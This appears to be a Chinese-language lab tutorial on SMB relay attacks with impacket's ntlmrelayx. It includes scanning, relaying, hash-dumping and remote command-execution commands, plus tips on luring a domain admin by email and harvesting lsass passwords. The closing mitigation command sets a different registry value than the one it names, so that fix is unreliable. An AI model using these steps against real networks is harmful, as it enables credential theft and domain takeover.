前言
smb中繼或叫smb請求重放攻擊,B是一個smb服務器,A來進行認證,B將A的認證信息轉發到C上,如果A的憑證在C上認證成功就能進行下一步操作,如創建服務執行命令。如果在域中控制了某些常用服務,如:WEB OA系統、文件共享等服務則可以嘗試使用SMB中繼攻擊來引誘域管理員訪問達到獲取其他機器權限的目的。

環境
192.168.123.10 win 7 域管理員(administrator)機器
192.168.123.11 kali linux 攻擊者機器
192.168.123.100 域內普通用戶-受害者機器
攻擊演示
需要smb簽名關閉下才能進行利用,只有windows server的smb簽名是默認開啟的,像Windows 7的簽名默認關閉
可以用nmap探測smb是否關閉
nmap --script smb-security-mode.nse -p445 192.168.123.0/24 --open

下載impacket工具包
git clone https://github.com/CoreSecurity/impacket.git
192.168.123.11(攻擊者機器) 執行
ntlmrelayx.py -tf hosts.txt -socks -smb2support
hosts.txt里面的內容是要進行中繼的IP,機器越多成功率越高,我這里只有一個IP

然后讓192.168.123.10(域管理員機器) 訪問192.168.123.11(攻擊者機器)的共享,可以架設一個web服務器,html頁面里嵌入\\攻擊者地址,我這里為了方便演示就在本地寫一個html

192.168.123.10(域管理員機器)訪問共享時,提示如下說明中繼成功

[*] Authenticating against smb://192.168.123.100 as Z3R0\Administrator SUCCEED [*] SOCKS: Adding Z3R0/ADMINISTRATOR@192.168.123.100(445) to active SOCKS connection. Enjoy
然后在本地會創建一個socks4代理
在 /etc/proxychains.conf 的最后一行填入
socks4 192.168.123.11 1080
配置好socks4代理后攻擊者執行
proxychains python secretsdump.py z3r0/Administrator@192.168.123.100
這樣secretsdump.py發送出的認證數據包經過socks4代理中繼就能成功進行認證

如果不加上其他參數的話ntlmrelayx.py默認會dumphash

先看看視頻效果圖
上傳時 freebuf提示圖片超出大小限制(希望小編能處理下:) ),效果圖地址:/article/UploadPic/2018-7/2018710164730287.gif
原理分析
每一步smb請求都被192.168.123.11(攻擊者機器)轉發到了其他機器上

1. 192.168.123.10(域管理員機器)向192.168.123.11(攻擊者機器)商量smb協議版本

2. 192.168.123.11(攻擊者機器)向192.168.123.100(受害者機器)商量smb協議版本
3.192.168.123.100(受害者機器)向192.168.123.11(攻擊者機器)回答支持smb v2

4.192.168.123.11(攻擊者機器)向192.168.123.10(域管理員機器)回答支持smb v2
協商完就開始認證了

1.192.168.123.10(域管理員機器)向192.168.123.11(攻擊者機器)發出NTLMSSP_NEGOTIATE認證協商請求
2.192.168.123.11(攻擊者機器)向192.168.123.100(受害者機器)發出NTLMSSP_NEGOTIATE認證協商請求
3.192.168.123.100(受害者機器)向192.168.123.11(攻擊者機器)進行響應,響應包里含有challenge

4.同樣192.168.123.11(攻擊者機器)向192.168.123.10(域管理員機器)進行響應,響應包里含有challenge5.192.168.123.10(域管理員機器)收到challenge后用hash將challenge加密,作為NTLM Response字段發送給192.168.123.11(攻擊者機器)

6.同樣,192.168.123.11(攻擊者機器)將域管理員的認證請求也發往192.168.123.100(受害者機器)

在響應包中可以看到已經認證成功了

有了管理員權限就能為所欲為了

因為沒有目標機器密碼所以不能進行正常的smb認證,ntlmrelayx腳本的socks4代理作用就是處理本地發往192.168.123.100 (受害者機器)流量起一個中繼作用,因為已經認證過了就不用再進行認證,密碼隨便填一個就行,使用socks4代理時的smb的身份認證是域管理員。
可以通過創建服務來執行命令,當然ntlmrelayx.py也可以做到.
python ntlmrelayx.py -tf hosts.txt -c 'cmexe /c calc.exe'

當192.168.123.10(域管理員機器)再次訪問共享時,192.168.123.100(受害者機器)上可以看到calc已經運行了

總結
1.可以通過給域管理員發送郵件的方式來讓他觸發smb請求
2.當然如果域管理員觸發了smb中繼請求了也可以針對他所在那一臺機器做中繼,這樣就能執行命令抓lsass.exe進程中的明文密碼了
修復建議
將注冊表項”RequireSecuritySignature”設置為 1 可以啟用 SMB 簽名
powershell執行
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" RequireSecureNegotiate -Value 1 –Force
|